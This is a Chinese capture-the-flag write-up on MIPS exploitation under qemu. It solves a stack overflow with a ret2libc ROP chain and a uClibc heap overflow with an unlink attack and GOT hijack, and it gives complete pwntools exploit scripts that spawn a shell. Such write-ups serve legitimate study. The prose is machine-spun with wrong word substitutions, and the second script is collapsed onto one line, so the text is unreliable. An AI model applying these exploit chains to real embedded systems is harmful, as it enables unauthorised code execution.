初探MIPS PWN

MIPS PWN调试环境设置&工具安装（Ubuntu 22.04)

安装 qemu

qemu 是一个支持跨平台虚拟化的虚拟机，有 user mode 和 system mode 两种设置方式。此中qemu 在system mode设置下模仿出整个计算机，可以在qemu之上运行一个操作体系。qemu 的system mode与常见的VMware和Virtualbox等虚拟机比较相似，但是qemu 的优势是可以跨指令集。例如，VMware和Virtualbox之类的工具通常只能在x86计算机上虚拟出一个x86计算机，而qemu 支持在x86上虚拟出一个ARM计算机。qemu在user mode设置下，可以运行跟当前平台指令集不同的平台可执行程序。例如可以用qemu在x86上运行ARM的可执行程序，但是两个平台必须是同一种操作体系，好比Linux。

1. sudo apt install qemu
2. sudo apt install qemu-user

复制代码

安装 gdb-multiarch

gdb-multiarch 是一个经过交叉编译后的、支持多架构版本的 gdb。

1. sudo apt install gdb-multiarch

复制代码

导入lib文件

一样平常来说题目会提供程序依赖的so库，所以在程序根目录创建一个lib文件夹并将依赖文件放进去
文件目录结构

1. ├── lib
2. │   ├── ld-uClibc.so.0
3. │   └── libc.so.0
4. ├── pwn2
5. └── run.sh
7. 1 directory, 4 files

复制代码

然后输入下面命令测试能不能运行

1. qemu-mipsel-static -L . ./pwn2

复制代码

开始调试

• 先通过qemu运行程序
  1. qemu-mipsel-static -g 2333 -L ./ ./pwn2

  复制代码
  这里开的远程端口是2333
  
• 再用gdb远程连接
  1. gdb-multiarch pwn2
  2. pwndbg> target remote 127.0.0.1:2333

  复制代码

出现调试窗口就阐明成功啦

安装mipsrop插件

ida/plugins/mipsrop at master · grayhatacademy/ida (github.com)
下载py文件放到ida的plugins文件夹即可，要留意的是它依赖了shims模块（在同一个git项目下

所以也要下载ida_shims.py并放到plugins文件夹
如果插件加载有问题，改mipsrop.py文件的第82行为下面内容

1. # original:from shims import ida_shims
2. # patched:
3. import ida_shims

复制代码

题目1：mipspwn

程序分析

用ghidra打开该文件
查看main函数，看起来像个堆题，有add，delete和edit

然而我们找到选项7对应的description函数并跟进会发现，里面调用了vul函数

这是一个很显着的栈溢出弊端，我们直接找gadget然后ret2libc即可
gadget的寻找

IDA -> search -> mips rop gadgets启动插件
起首我们必要找到能控制参数a0的gadget

这里找到了一个gadget，但使用它还必要控制s0和s2寄存器
寻找能控制s0，s2的gadget

接下来就简单了，利用这两个gadget，先puts泄露libc地点再执行system("/bin/sh")
这里用description函数中的puts调用，来打印read函数的真实地点，这样在puts结束后会向下执行vul函数，这样就有二次溢出的机会

exp

1. from pwn import *
3. def get_sb():
4.     return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
6. sd = lambda data : p.send(data)
7. sa  = lambda text,data  :p.sendafter(text, data)
8. sl  = lambda data   :p.sendline(data)
9. sla = lambda text,data  :p.sendlineafter(text, data)
10. rc   = lambda num=4096   :p.recv(num)
11. ru  = lambda text   :p.recvuntil(text)
12. rl  = lambda         :p.recvline()
13. pr = lambda num=4096 :print(p.recv(num))
14. ia   = lambda        :p.interactive()
15. l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
16. l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
17. uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
18. uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
19. int16   = lambda data   :int(data,16)
20. lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
22. context(arch = "mips",os = "linux",log_level = "debug")
23. file = "./pwn2"
24. libc = "./lib/libc.so.0"
26. if len(sys.argv) > 1 and sys.argv[1] == "de":
27.     p = process(["qemu-mipsel-static", "-g", "2333", "-L", "./", file])
28. else:
29.     p = process(["qemu-mipsel-static", "-L", "./", file])
30. elf = ELF(file)
31. libc = ELF(libc)
34. ru("Warrior,leave your name here:")
35. sl("s1nyer")
36. ru("Your choice: ")
37. sl('7')
38. j_ra_s3_s2_s1_s0 = 0x00400798
39. m_a0_s0_t9_s2 = 0x000401040
40. read_got = elf.got["read"]
41. puts_addr = 0x00400FB4
42. pl = b'a'*(0x38+4)
43. pl += p32(j_ra_s3_s2_s1_s0)
44. pl += b'c'*0x1c
45. pl += p32(read_got)#s0
46. pl += p32(0)#s1
47. pl += p32(puts_addr)#s2
48. pl += p32(0)#s3
49. pl += p32(m_a0_s0_t9_s2)#ra
50. ru("Write down your feeling:")
51. sl(pl)
52. rc(1)
53. read_addr = u32(rc(4))
54. libc_base =read_addr - libc.sym["read"]
55. lg("libc_base", libc_base)
56. system, binsh = get_sb()
57. pl = b'a'*(0x38+4)
58. pl += p32(j_ra_s3_s2_s1_s0)
59. pl += b'c'*0x1c
60. pl += p32(binsh)#s0
61. pl += p32(0)#s1
62. pl += p32(system)#s2
63. pl += p32(0)#s3
64. pl += p32(m_a0_s0_t9_s2)#ra
65. sl(pl)
67. ia()

复制代码

题目2：managesystem

程序分析

先patch掉讨厌的alarm函数，把jalr那条指令改成nop（在hexview里把那四个字节全改成0

放到ghidra里查看主函数

经典的堆菜单，有add，delete，edit和show
最多同时存在0x10个堆，并且限制size < 0x8f
只有两次delete机会，并且delete后会把note_list里对应的指针置零，没有UAF
弊端位于edit函数内，有八个字节的溢出

题目用的是uclibc，相当于小型的C语言尺度库，和glibc有一些差别，源码：stdlib « libc - uClibc - A C library for embedded Linux
它没有main_arena全局变量，取而代之的是__malloc_state这个全局变量，我们可以看一下他的 malloc_state结构体

1. struct malloc_state {
3.   /* The maximum chunk size to be eligible for fastbin */
4.   size_t  max_fast;   /* low 2 bits used as flags */
6.   /* Fastbins */
7.   mfastbinptr      fastbins[NFASTBINS];
9.   /* Base of the topmost chunk -- not otherwise kept in a bin */
10.   mchunkptr        top;
12.   /* The remainder from the most recent split of a small request */
13.   mchunkptr        last_remainder;
15.   /* Normal bins packed as described above */
16.   mchunkptr        bins[NBINS * 2];
18.   /* Bitmap of bins. Trailing zero map handles cases of largest binned size */
19.   unsigned int     binmap[BINMAPSIZE+1];
20.   
21.   // 之后的结构就省略了
22.   ..............................
23.   ..............................
24. };

复制代码

接着用gdb查一下内存布局，发现max_fast的值是8

1. pwndbg> x/20wx &__malloc_state
2. 0x3ffd3108 <__malloc_state>:        0x00000008        0x00000000        0x00000000        0x00000000
3. 0x3ffd3118 <__malloc_state+16>:        0x00000000        0x00000000        0x00000000        0x00000000
4. 0x3ffd3128 <__malloc_state+32>:        0x00000000        0x00000000        0x00000000        0x00412028
5. 0x3ffd3138 <__malloc_state+48>:        0x00000000        0x00000000        0x00000000        0x3ffd313c
6. 0x3ffd3148 <__malloc_state+64>:        0x3ffd313c        0x3ffd3144        0x3ffd3144        0x3ffd314c

复制代码

阅读源码发现是没有tcache机制的，并且由于max_fast的值是8，可以说free掉的堆都是不会进入fastbin而是优先进入unsorted bin
同时发现他的malloc_chunk结构和glibc对比没有fd_nextsize，bk_nextsize

1. struct malloc_chunk {
3.   size_t      prev_size;  /* Size of previous chunk (if free).  */
4.   size_t      size;       /* Size in bytes, including overhead. */
6.   struct malloc_chunk* fd;         /* double links -- used only if free. */
7.   struct malloc_chunk* bk;
8. };

复制代码

unlink宏

1. /* Take a chunk off a bin list */
2. #define unlink(P, BK, FD) {                                            \
3.   FD = P->fd;                                                          \
4.   BK = P->bk;                                                          \
5.   if (FD->bk != P || BK->fd != P)                                      \
6.       abort();                                                         \
7.   FD->bk = BK;                                                         \
8.   BK->fd = FD;                                                         \
9. }

复制代码

所以可以用unlink攻击来劫持note_list

1. note_list = 0x411830
2. add(0x20)
3. add(0x20-8)
4. payload = flat(0, 0x21, note_list-12, note_list-8) # fake_chunk
5. payload += b'a'*0x10 # padding
6. payload += p32(0x20) + p32(0x20) # overwrite prev_size and size
7. edit(0,payload)
8. free(1)

复制代码

这里有个很奇怪的问题，按理说unlink之后note_list[0]的存的指针是伪造的FD，也就是note_list-12。但是现实调试却发现是note_list-8，也就是伪造的BK

1. pwndbg> x/12wx 0x412008
2. 0x412008:        0x00000000        0x00000021        0x00411824        0x00411828
3. 0x412018:        0x61616161        0x61616161        0x61616161        0x61616161
4. 0x412028:        0x00000020        0x00000020        0x00000000        0x00000000

复制代码

想用watch命令跟踪一下note_list内存的读写情况也失败了，应该是qemu的原因

1. pwndbg> watch *0x411830
2. Hardware watchpoint 2: *0x411830
3. pwndbg> c
4. Continuing.
5. Warning:
6. Could not insert hardware watchpoint 2.
7. Could not insert hardware breakpoints:
8. You may have requested too many hardware breakpoints/watchpoints.

复制代码

猜测可能是编译优化导致的指令乱序，下面两条语句的执行顺序变动了，所以导致最后note_list[0]的值是fake BK

1. FD->bk = BK;
2. BK->fd = FD;

复制代码

（看uclibc源码这个unlink应该没问题的，但是没有符号也懒得调那个uclibc了 =_=
接下来note_ list写入read的GOT表地点，泄露libc

1. # leak libc
2. payload = b'\x00'*8 # padding
3. payload += flat(note_list, 0x50, elf.got['read'], 4)
4. edit(0, payload)
5. show(1)
6. ru("info: ")
7. libc_base = uu32() - libc.sym['read']
8. lg("libc_base", libc_base)

复制代码

劫持free GOT地点为system函数，释放一个指向"/bin/sh\x00"字符串的地点即可

1. # hijack free GOT
2. system, binsh = get_sb()
3. payload = flat(note_list, 0, elf.got['free'], 0x10, binsh)
4. edit(0, payload)
5. edit(1, p32(system))
6. free(2)

复制代码

exp

1. from pwn import *def get_sb():    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))sd = lambda data : p.send(data)sa  = lambda text,data  :p.sendafter(text, data)sl  = lambda data   :p.sendline(data)sla = lambda text,data  :p.sendlineafter(text, data)rc   = lambda num=4096   :p.recv(num)ru  = lambda text   :p.recvuntil(text)rl  = lambda         :p.recvline()pr = lambda num=4096 :print(p.recv(num))ia   = lambda        :p.interactive()l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))int16   = lambda data   :int(data,16)lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))context(arch = "mips",os = "linux",log_level = "debug")file = "./managesystem"libc = "./lib/libc.so.0"if len(sys.argv) > 1 and sys.argv[1] == "de":    p = process(["qemu-mipsel-static", "-g", "2333", "-L", "./", file])elif len(sys.argv) > 1 and sys.argv[1] == "re":    p = remote("127.0.0.1", 28913)else:    p = process(["qemu-mipsel-static", "-L", "./", file])elf = ELF(file)libc = ELF(libc)def add(sz, ct='a'):    sla("options >>", str(1))    sla("length:", str(sz))    if sz != 0:        sa("info:", ct)def free(idx):    sla("options >>", str(2))    sla("user:", str(idx))def edit(idx, ct):    sla("options >>", str(3))    sla("want edit:", str(idx))    sa("new user's info:", ct)def show(idx):    sla("options >>", str(4))    sla("want show: \n", str(idx))note_list = 0x411830add(0x20)add(0x20-8)payload = flat(0, 0x21, note_list-12, note_list-8) # fake_chunkpayload += b'a'*0x10 # paddingpayload += p32(0x20) + p32(0x20) # Overwrite prev_size and sizeedit(0, payload)free(1)# leak libc
2. payload = b'\x00'*8 # padding
3. payload += flat(note_list, 0x50, elf.got['read'], 4)
4. edit(0, payload)
5. show(1)
6. ru("info: ")
7. libc_base = uu32() - libc.sym['read']
8. lg("libc_base", libc_base)# hijack free GOT
9. system, binsh = get_sb()
10. payload = flat(note_list, 0, elf.got['free'], 0x10, binsh)
11. edit(0, payload)
12. edit(1, p32(system))
13. free(2)ia()

复制代码

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。